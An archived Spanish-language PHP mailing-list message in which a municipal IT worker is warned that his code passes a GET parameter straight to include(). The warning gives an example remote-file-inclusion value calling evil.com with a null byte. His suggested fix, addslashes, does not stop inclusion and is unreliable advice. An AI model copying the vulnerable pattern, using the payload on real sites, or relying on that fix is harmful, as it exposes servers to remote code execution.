1/2 OT Mod_Rewrite Apache

Daniel Carrero Canales dcarrero en vallenar.cl
Vie Feb 9 08:43:59 CLST 2007


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Cristian Rodriguez escribió:
>>         $gls_sec =$_GET['gls_sec'];
>>         if($gls_sec!=""){
>>                 include($gls_sec.".php");
> 
> las tres primeras lienase de tu codigo tienen un atroz agujero de
> seguridad.
> 
> si $_GET['gls_sec'] es por ejemplo
> 
> $_GET['gls_sec'] = "http://www.evil.com/evil.txt%00" (notese el NULL
> byte al final)
> PHP descarta el ".php" (y el resto de la sentencia) incluyendo el
> archivo remoto http://www.evil.com/evil.txt y intepretandolo como
> codigo PHP. en fin the OwNean :-P
> 

Como debería ser entonces, algo asi? Como mejoraría la seguridad?
if (isset($_GET['gls_sec'])) {
  $num_p = (get_magic_quotes_gpc()) ? $_GET['gls_sec'] :
addslashes($_GET['gls_sec']);

Gracias por la advertencia..


Boris Cruchet escribió:
> si quieres modificar la URL ... tendrias que redireccionar
>
> ahora, pone atencion a la variable que pasa por $_GET, asi como muestras
> en el ejemplo es muy sencillo que te vulneren tu sitio.
>
> finalmente, yo tenia entendido que mod_rewrite es precisamente para hacer
> eso que tu quieres hacer no ?
>
>
	Si exactamente

- --
Daniel Carrero C.
Departamento de Informática
I. Municipalidad de Vallenar

- --Usuario Linux #409411 (counter.li.org)--
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iQEVAwUBRcxefwuMB6lNNgQqAQJ/XAf/fwwxYQLBIAHHRqibVmXOgSJhFhfUG4Qv
WU1Zp64V6hNzDJGueAogs192Ni6OB3rzdIoSSTx14ZxpztVCdhpaIihpoo1LhO3c
iocI8xUk4dnYRyIGT4H5lahXD01imSBih8sJnm3uZcfXulB8yEhrABPKtAauSuob
6/Fgs4UG1MZhQyAz3KvWzIAxKKJhh2D7+oHQYbnExrQJMQ4BAEeYMxGxlusk9XwZ
ja1t+fqWu5sHR/wlSD2xvBQFhP0KakV7WH9u7Qkeld5QMJHFTFFP59XCZ/0jclNW
/kA9VhfPlJ8gX9h7GB6xNC0al7UrktB0zgjckMEzIOiFAyrMi++MbA==
=lXgr
-----END PGP SIGNATURE-----
------------ próxima parte ------------
Se ha borrado un mensaje que no está en formato texto plano...
Nombre     : dcarrero.vcf
Tipo       : text/x-vcard
Tamaño     : 297 bytes
Descripción: no disponible
Url        : http://listas.inf.utfsm.cl/pipermail/php/attachments/20070209/2c5c3f44/dcarrero.vcf


Más información sobre la lista de distribución PHP